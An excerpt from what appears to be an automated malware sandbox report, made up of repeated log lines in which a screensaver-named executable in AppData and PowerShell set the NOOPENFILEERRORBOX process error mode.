Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\swagodi78811.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
